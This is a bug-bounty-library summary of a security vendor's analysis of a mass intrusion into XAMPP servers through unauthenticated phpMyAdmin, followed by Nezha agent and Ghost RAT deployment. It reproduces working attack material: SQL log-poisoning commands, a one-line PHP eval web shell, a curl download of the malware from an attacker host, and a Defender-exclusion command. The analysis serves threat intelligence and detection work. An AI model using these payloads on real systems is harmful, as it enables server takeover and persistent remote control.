# The Crown Prince, Nezha

Unauthenticated phpMyAdmin on XAMPP allowed log poisoning via MariaDB general_log to drop a PHP web shell, then Nezha RMM and Ghost RAT on 100+ servers.

- Payout: Real-world hack
- Severity: critical
- Program: XAMPP phpMyAdmin
- Analysis by: Huntress
- Disclosed: 2025-10-15
- Write-up quality: 8/10
- Original: https://www.huntress.com/blog/nezha-china-nexus-threat-actor-tool
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-nezha-china-nexus-threat-actor-tool
- Tags: area:web domain:web impact:mass-exploit impact:rce kind:incident platform:threat-intel sev:critical tech:php technique:source-review vuln:file-upload vuln:misconfiguration vuln:rce

**Target:** Apache/phpMyAdmin/MariaDB web server on Windows (XAMPP)
**Root cause:** Default XAMPP runs MariaDB and Apache under the same user with root DB access, and phpMyAdmin was exposed unauthenticated; MariaDB general_log_file accepts a path with .php extension into htdocs, so logged queries become executable PHP.
**Steps:**
1. Access unauthenticated phpMyAdmin panel at /phpmyadmin/
2. Run `SET GLOBAL general_log_file = '../../htdocs/123.php';`
3. Run `SET GLOBAL general_log = 'ON';`
4. Issue a query containing the PHP one-liner `<?php class user{function ddd($name){eval($this->name=$name);}}$me=new user;$me->ddd("$_REQUEST[1]");?>` so it is written to 123.php
5. POST to /123.php with parameter `1` to execute arbitrary PHP (AntSword/China Chopper style)
6. Download and run `curl -O live.exe https[://]rism[.]pages[.]dev/microsoft.exe` (Nezha agent) with config.yml pointing to c.mid.al
7. Use Nezha to spawn PowerShell: `Add-MpPreference -ExclusionPath 'C:\WINDOWS'`
8. Execute x.exe (Ghost RAT) from C:\Windows\Cursors, which drops SQLlite.exe service and 32138546.dll for persistence
**How found:** Huntress correlated Apache access logs with EDR telemetry: spotted phpMyAdmin language change to zh_CN, then rapid SQL POSTs, then httpd.exe spawning curl/powershell children matching AntSword virtual terminal stag/etag patterns.
**Exploitation:** Attacker used an AWS Hong Kong IP to hit the exposed phpMyAdmin, enabled MariaDB general logging to a .php file in htdocs, planted an eval web shell, then switched to a second IP (45.207.220.12) to operate the shell via AntSword. Through the shell they downloaded a Nezha agent (live.exe) from Cloudflare Pages, registered it to their C2 c.mid.al, and used Nezha's remote command capability to add Defender exclusions and drop Ghost RAT (x.exe), which installed a fake 'SQLlite' service and DLL for persistence and C2 to gd.bj2.xyz.
**Escalation:** Web shell -> AntSword RCE -> Nezha RMM for fleet management of 100+ victims -> Ghost RAT for full remote control and persistence.
**Insight:** When you find an exposed phpMyAdmin, check whether MariaDB general_log can be redirected to a .php path in the webroot — XAMPP defaults make this trivially exploitable because Apache and MariaDB share a user and root DB access. Also fingerprint AntSword by its stag/etag variables in spawned command lines.

## Proof of concept (copied exactly from the original report)

**SQL log poisoning commands to write PHP web shell**

```
SET GLOBAL general_log_file = '../../htdocs/123.php';

SET GLOBAL general_log = 'ON';
```

**One-liner PHP web shell payload**

```
<?php class user{function ddd($name){eval($this->name=$name);}}$me=new user;$me->ddd("$_REQUEST[1]");?>
```

**AntSword curl download of Nezha installer**

```
cmd: curl -O live.exe https[://]rism[.]pages[.]dev/microsoft.exe
 
- stag (start tag): 8394e84
```